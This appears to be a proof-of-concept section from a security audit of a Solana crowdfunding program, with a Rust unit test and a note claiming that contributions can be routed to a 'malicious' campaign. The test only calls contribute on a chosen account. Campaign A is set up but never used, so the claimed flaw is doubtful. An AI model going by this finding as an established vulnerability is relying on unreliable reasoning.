### Proof of Concept Field (Set language to Rust)
```rust
#[test]
fn test_contribute_wrong_campaign_vulnerability() {
setup_syscall_stubs();
let campaign_a_key = Pubkey::new_unique();
let creator_a_key = Pubkey::new_unique();
let campaign_b_key = Pubkey::new_unique();
let creator_b_key = Pubkey::new_unique();
let contributor_key = Pubkey::new_unique();
let contribution_key = Pubkey::new_unique();
let program_id = crate::ID;
let mut fund_a_lamports = 100_000_000;
let mut fund_a_data = vec![0u8; 8 + Fund::INIT_SPACE];
let fund_a_state = Fund {
name: "Campaign A".to_string(),
description: "Good Campaign".to_string(),
goal: 1000,
deadline: 0,
creator: creator_a_key,
amount_raised: 0,
dealine_set: false,
};
let mut writer_a = &mut fund_a_data[..];
fund_a_state.try_serialize(&mut writer_a).unwrap();
let mut fund_b_lamports = 100_000_000;
let mut fund_b_data = vec![0u8; 8 + Fund::INIT_SPACE];
let fund_b_state = Fund {
name: "Campaign B".to_string(),
description: "Malicious Campaign".to_string(),
goal: 1000,
deadline: 0,
creator: creator_b_key,
amount_raised: 0,
dealine_set: false,
};
let mut writer_b = &mut fund_b_data[..];
fund_b_state.try_serialize(&mut writer_b).unwrap();
let mut contributor_lamports = 1_000_000_000;
let mut contributor_data = vec![];
let mut contribution_lamports = 10_000_000;
let mut contribution_data = vec![0u8; 8 + Contribution::INIT_SPACE];
contribution_data[..8].copy_from_slice(&Contribution::DISCRIMINATOR);
let system_program_key = anchor_lang::solana_program::system_program::ID;
let bpf_loader_id = anchor_lang::solana_program::bpf_loader::id();
let mut system_program_lamports = 0;
let mut system_program_data = vec![];
let system_program_info = AccountInfo::new(
&system_program_key, false, false, &mut system_program_lamports, &mut system_program_data, &bpf_loader_id, true, 0
);
let fund_b_info = AccountInfo::new(&campaign_b_key, false, true, &mut fund_b_lamports, &mut fund_b_data, &program_id, false, 0);
let contributor_info = AccountInfo::new(&contributor_key, true, true, &mut contributor_lamports, &mut contributor_data, &program_id, false, 0);
let contribution_info = AccountInfo::new(&contribution_key, false, true, &mut contribution_lamports, &mut contribution_data, &program_id, false, 0);
let fund_b_acc: Account<Fund> = Account::try_from(&fund_b_info).unwrap();
let contributor_sig: Signer = Signer::try_from(&contributor_info).unwrap();
let contribution_acc: Account<Contribution> = Account::try_from(&contribution_info).unwrap();
let system_prog: Program<System> = Program::try_from(&system_program_info).unwrap();
let mut accounts = FundContribute {
fund: fund_b_acc,
contributor: contributor_sig,
contribution: contribution_acc,
system_program: system_prog,
};
let ctx = Context::new(&program_id, &mut accounts, &[], FundContributeBumps::default());
let res = crate::rustfund::contribute(ctx, 500);
assert!(res.is_ok());
}
The test sets up two separate campaign accounts: the intended Campaign A and a malicious Campaign B. When constructing the contribute instruction, the contributor's accounts context specifies Campaign B as the destination fund. The program allows the contribution transaction to complete successfully without asserting that the campaign target matches the campaign the contributor intended to fund.